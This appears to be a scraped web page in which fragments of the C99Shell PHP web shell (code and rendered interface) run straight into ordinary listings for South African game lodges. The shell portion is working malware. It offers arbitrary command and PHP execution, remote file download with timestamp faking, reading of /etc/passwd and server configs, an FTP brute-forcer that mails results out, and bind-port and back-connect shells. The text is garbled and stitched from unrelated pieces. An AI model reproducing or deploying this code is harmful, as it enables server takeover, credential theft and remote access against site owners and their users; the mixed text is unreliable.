{$nl2br = 0;} if (empty($add_drop)) {$add_drop = true;} if (empty($file)) { global $win; if ($win) {$file = "C:\tmp\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = true;} if (sizeof($tabs) == 0) { // retrive tables-list $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $SERVER_ADDR = getenv("SERVER_ADDR"); $SERVER_NAME = getenv("SERVER_NAME"); $out = "# Dumped by C99Shell.SQL v. ".$shver." # Home page: http://ccteam.ru # # Host settings: # MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"." # Date: ".date("d.m.Y H:i:s")." # ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db "".$db."" #--------------------------------------------------------- "; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;n";} // recieve query for create table structure $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";nn"; // recieve table variables $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("`, `", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES (`".$values."`);n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------nn"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep=" and",$functs=array()) { if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= $functs[$k]."(";} $value .= "`".addslashes($v)."`"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo "
| "; if ($tbl_struct) { echo " | Fields: "; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name." ";} echo " |
!C99Shell v. ! | |
|---|---|
Software: uname -a: ",1); ?> ",1);} else {echo get_current_user();} ?> Safe-mode: ".htmlspecialchars($b).DIRECTORY_SEPARATOR."";
$i++;
}
echo " ";
if (is_writable($d))
{
$wd = true;
$wdt = "[ ok ]";
echo "".view_perms(fileperms($d))."";
}
else
{
$wd = false;
$wdt = "[ Read-Only ]";
echo "".view_perms_color($d)."";
}
if (is_callable("disk_free_space"))
{
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === false) {$free = 0;}
if ($total === false) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2);
echo " | |
Attention! SQL-Manager is NOT ready module! Don`t reports bugs.
"; } $act = $dspact = "ls"; } if ($act == "ftpquickbrute") { echo "Ftp Quick brute: "; if (!win) {echo "This functions not work in Windows! ";} else { function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} else {$true = true;} if ($true) { $sock = @ftp_connect($host,$port,$timeout); if (@ftp_login($sock,$login,$pass)) { echo "Connected to ".$host." with login "".$login."" and password "".$pass."". "; ob_flush(); return true; } } } if (!empty($submit)) { if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} $fp = fopen("/etc/passwd","r"); if (!$fp) {echo "Can`t get /etc/passwd for password-list.";} else { if ($fqb_logging) { if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} else {$fqb_logfp = false;} $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."rnrn"; if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} } ob_flush(); $i = $success = 0; $ftpquick_st = getmicrotime(); while(!feof($fp)) { $str = explode(":",fgets($fp,2048)); if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { echo "Connected to ".$SERVER_NAME." with login "".$str[0]."" and password "".$str[0]."" "; $fqb_log .= "Connected to ".$SERVER_NAME." with login "".$str[0]."" and password "".$str[0]."", at ".date("d.m.Y H:i:s")."rn"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} $success++; ob_flush(); } if ($i > $fqb_lenght) {break;} $i++; } if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!rn";} $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo " Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." "; $fqb_log .= "rn------------------------------------------rnDone!rnTotal time (secs.): ".$ftpquick_t."rnTotal connections: ".$i."rnSuccess.: ".$success."rnUnsuccess.:".($i-$success)."rnConnects per second: ".round($i/$ftpquick_t,2)."rn"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); echo ""; } } } if ($act == "d") { if (!is_dir($d)) {echo "
"; } } if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;} if ($act == "security") { echo " Safe-Mode: ".$hsafemode." Open base dir: ".$hopenbasedir." "; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "*nix /etc/passwd: "; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo " "; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "".$uid["dir"].""; echo join(":",$uid)." "; } $i++; } } else {echo " Get /etc/passwd ";} } else { $v = $_SERVER["WINDIR"]."repairsam"; if (file_get_contents($v)) {echo "You can`t crack winnt passwords(".$v.") ";} else {echo "You can crack winnt passwords. Download, and use lcp.crack+ ©. ";} } if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";} if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";} if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";} if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";} } if ($act == "mkfile") { if ($mkfile != $d) { if (file_exists($mkfile)) {echo "Make File "".htmlspecialchars($mkfile)."": object alredy exists";} elseif (!fopen($mkfile,"w")) {echo "Make File "".htmlspecialchars($mkfile)."": access denied";} else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = "ls";} } if ($act == "encoder") { echo " "; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} } if ($act == "selfremove") { if (($submit == $rndcode) and ($submit != "")) { if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; } else {echo " "; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( "name"=>$search_name, "name_regexp"=>$search_name_regexp, "text"=>$search_text, "text_regexp"=>$search_text_regxp, "text_wwo"=>$search_text_wwo, "text_cs"=>$search_text_cs, "text_not"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) {c99fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo "No files found!";} else { $ls_arr = $found; $disp_fullpath = true; $act = "ls"; } } echo ""; if ($act == "ls") {$dspact = $act; echo " Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";} } if ($act == "chmod") { $mode = fileperms($d.$f); if (!$mode) {echo "Change file-mode with error: can`t get current value.";} else { $form = true; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} else {$err = "Can`t chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"").""; } } } if ($act == "upload") { $uploadmess = ""; $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES["uploadfile"]; if (!empty($uploadfile["tmp_name"])) { if (empty($uploadfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can`t copy "".$uploadfile["tmp_name"]."" to "".$uploadpath.$destin.""! ";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode("/",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = ""; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} } if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= "Can`t download file! ";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,"w"); if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo "".$uploadmess.""; $act = "ls"; } else { echo "File upload: ".$uploadmess.""; } } if ($act == "delete") { $delerr = ""; foreach ($actbox as $v) { $result = false; $result = fs_rmobj($v); if (!$result) {$delerr .= "Can`t delete ".htmlspecialchars($v)." ";} } if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;} $act = "ls"; } if (!$usefsbuff) { if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo " ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= "Can`t move ".$v." to ".$to."! ";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;} $act = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ext = ".tar.gz";} if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} $cmdline .= " ".$actarcbuff_path; $objects = array_merge($sess_data["copy"],$sess_data["cut"]); foreach($objects as $v) { $v = str_replace("\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cmdline .= " ".$v; } $tmp = realpath("."); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= "Can`t call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";} $ret = str_replace("rn","n",$ret); $ret = explode("n",$ret); if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} foreach($sess_data["cut"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;} $act = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= "Can`t copy ".$v." to ".$to."! ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= "Can`t move ".$v." to ".$to."! ";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;} $act = "ls"; } } if ($act == "cmd") { if (trim($cmd) == "ps -aux") {$act = "ps_aux";} else { @chdir($chdir); if (!empty($submit)) { echo "Result of execution this command: "; $olddir = realpath("."); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,"d","w"); if ($cmd_txt) { $rows = count(explode("rn",$ret))+1; if ($rows < 10) {$rows = 10;} echo " "; } else {echo $ret." ";} @chdir($olddir); } else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = true;}} echo ""; } } if ($act == "ls") { if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== false) {$list[] = $d.$o;} closedir($h); } } if (count($list) == 0) {echo "
This functions not work in Windows! ";} else { if (!is_array($bind)) {$bind = array();} if (!is_array($bc)) {$bc = array();} if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;} if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;} if (!empty($bindsubmit)) { echo "Result of binding port: "; $v = $bndportsrcs[$bind["src"]]; if (empty($v)) {echo "Unknown file! ";} elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";} else { $srcpath = $tmpdir.$bind["src"]; $w = explode(".",$bind["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $binpath = $tmpdir.join(".",$w); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can`t write sources to "".$srcpath.""! ";} else { $data = base64_decode($bndsrcs[$bind["src"]]); fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%port",$bind["port"],$v[1]); $v[1] = str_replace("%pass",$bind["pass"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); sleep(5); $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); if (!$sock) {echo "I can`t connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} else {echo "Binding... ok! Connect to ".$SERVER_ADDR.":".$bind["port"]."! You should use NetCat©, run "nc -v ".$SERVER_ADDR." ".$bind["port"].""! "; } } if (!empty($bcsubmit)) { echo "Result of back connection: "; $v = $bcsrcs[$bc["src"]]; if (empty($v)) {echo "Unknown file! ";} else { $srcpath = $tmpdir.$bc["src"]; $w = explode(".",$bc["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $binpath = $tmpdir.join(".",$w); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can`t write sources to "".$srcpath.""! ";} else { $data = base64_decode($bndsrcs[$bind[src]]); fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%host",$bc["host"],$v[1]); $v[1] = str_replace("%port",$bc["port"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); echo "Now script try connect to ".$bc["host"].":".$bc["port"]."... "; } } } ?>Binding port: Back connection: Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p <port>"!Processes: "; if ($win) {echo "This function not work in Windows! ";} else { if ($pid) { if (!$sig) {$sig = 9;} echo "Sending signal ".$sig." to #".$pid."... "; $ret = posix_kill($pid,$sig); if ($ret) {echo "ok. he is dead, amen.";} else {echo "ERROR.";} } $ret = myshellexec("ps -aux"); if (!$ret) {echo "Can`t execute "ps -aux"!";} else { $ret = htmlspecialchars($ret); while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("n",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} $k = $ps_aux_sort[0]; if ($ps_aux_sort[1] != "a") {$y = "
"; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("rn",$ret))+1; if ($rows < 10) {$rows = 10;} echo " "; } else {echo $ret." ";} } else { if ($eval_txt) { echo " "; } else {echo $ret;} } @chdir($olddir); } else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = true;}} echo ""; } if ($act == "f") { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo " Create Select action/file-type: "; foreach($arr as $t) { if ($t[1] == $rft) {echo " ".$t[0]."";} elseif ($t[1] == $ft) {echo " ".$t[0]."";} else {echo " ".$t[0]."";} echo " (+) |"; } echo " "; if ($ft == "info") { echo "Information:
"; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000 "; $a1 = ""; $a2 = ""; for ($i=0; $i "; $a2 .= " "; } } //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";} echo "
"; } $encoded = ""; if ($base64 == 1) { echo "Base64 Encode "; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo "Base64 Encode + Chunk "; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo "Base64 Encode + Chunk + Quotes "; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace("!.{1,76}!","`\0`.n",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo "Base64 Decode"; if (base64_encode($encoded) != $text) {echo " (failed)";} echo " "; } if (!empty($encoded)) { echo " "; } echo "HEXDUMP: Base64: "; } elseif ($ft == "html") { if ($white) {@ob_clean();} echo $r; if ($white) {exit;} } elseif ($ft == "txt") {echo " ".htmlspecialchars($r)."";} elseif ($ft == "ini") {echo " "; var_dump(parse_ini_file($d.$f,true)); echo "";} elseif ($ft == "phpsess") { echo " ";
$v = explode("|",$r);
echo $v[0]."";
}
elseif ($ft == "exe")
{
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "Execute file:";
}
elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo "";} elseif ($ft == "code") { if (ereg("phpBB 2.(.*) auto-generated config file",$r)) { $arr = explode("n",$r); if (count($arr == 18)) { include($d.$f); echo "phpBB configuration is detected in this file! "; if ($dbms == "mysql4") {$dbms = "mysql";} if ($dbms == "mysql") {echo "Connect to DB ";} else {echo "But, you can`t connect to forum sql-base, because db-software="".$dbms."" is not supported by c99shell. Please, report us for fix.";} echo "Parameters for manual connect: "; $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."=`".htmlspecialchars($v)."` ";} echo " "; } } echo " ";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {exit;}
echo " ";
}
elseif ($ft == "download")
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename="".$f."";");
echo $r;
exit;
}
elseif ($ft == "notepad")
{
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename="".$f.".txt";");
echo($r);
exit;
}
elseif ($ft == "img")
{
$inf = getimagesize($d.$f);
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "");}}}} natsort($images); $k = array_keys($images); echo " ";} echo " Idea, leading and coding by tristram[CCTeaM]. Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM]. Thanks all who report bugs. All bugs send to tristram`s ICQ #656555 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
:: Command execute :: | |
--[ c99shell v. powered by Captain Crunch Security Team | r57 shell | Generation time: ]-- |
Black Rhino Game Lodge
Pilanesberg,
North West Province
This luxury bushveld breakaway is situated in the malaria free Pilanesberg National Park in the North West Province, 33 km from Sun City. The landscape is an alluring combination of rolling hills, tumbled mountains, valleys, grassland plains and tamboti forests. Game sightings include a variety of predators such as lion, leopard and cheetah and a great opportunity to see herds of elephant and buffalo and even sometimes at close range! Retreat to this luxury 4 star game lodge built between a Tamboti forest overlooking a busy waterhole which is a hive of bird and animal activity and a playground for the elephant.
Ezulwini Game Lodge
23km from Hluhluwe in Northern Zululand,
Kwa-Zulu Natal
This lodge is personally managed by the owners and they are also one of the pioneers in the area. The Game lodge is perfectly situated on 300ha of private game property with it`s sand-forests contributing to the variety of bird life around the lodge and the indigenous gardens have a variety of vegetation including the Lala palm which is used for basket weaving and the Marula tree which fruits are a favourite with monkeys.
Khaya Ndlovu Manor House
Hoedspruit,
Limpopo
Welcoming you to enjoy its understated colonial style luxury while delighting in the personalized attention and homely charm that is the quintessence of this spectacular venue with its large colonial style. An exclusive retreat, with spectacular views offering a multitude of wildlife experiences. This is what you can expect at Khaya Ndlovu Manor House gardens as well as unsurpassed views of the Drakensberg Mountains and surrounding bushveld.
Askari Game Lodge and Spa
Cradle of Humankind and Magaliesberg,
Gauteng
Situated on Plumari Africa Private Game Reserve, is ASKARI GAME LODGE & SPA (formely Plumari Lodge) comprising of a pristine malaria free wilderness area of over 3000 hectares. The Reserve boasts an amazing natural African bushveld with an abundance of flora, fauna, birdlife and wildlife. Just over an hour from Johannesburg or Pretoria, Askari Lodge offers guests a memorable Big 5 wildlife experience adjacent to the world-renowned Cradle of Humankind. Enjoy game viewing, superb sunday lunches, Elephant Experiences - including bush walks and interaction with the resident elephants, a private museum and ox wagon collection to view and even relaxation therapy at the Spa.
Please note: Activities are an optional and additional fee to the accommodation rate. This is because the activites do not necessarily operate from the lodges or the same operators available, but within the near vicinity of the specified lodges.
Please don't hesitate to contact us directly.
^ top
Compliments
Buy
Gift Voucher



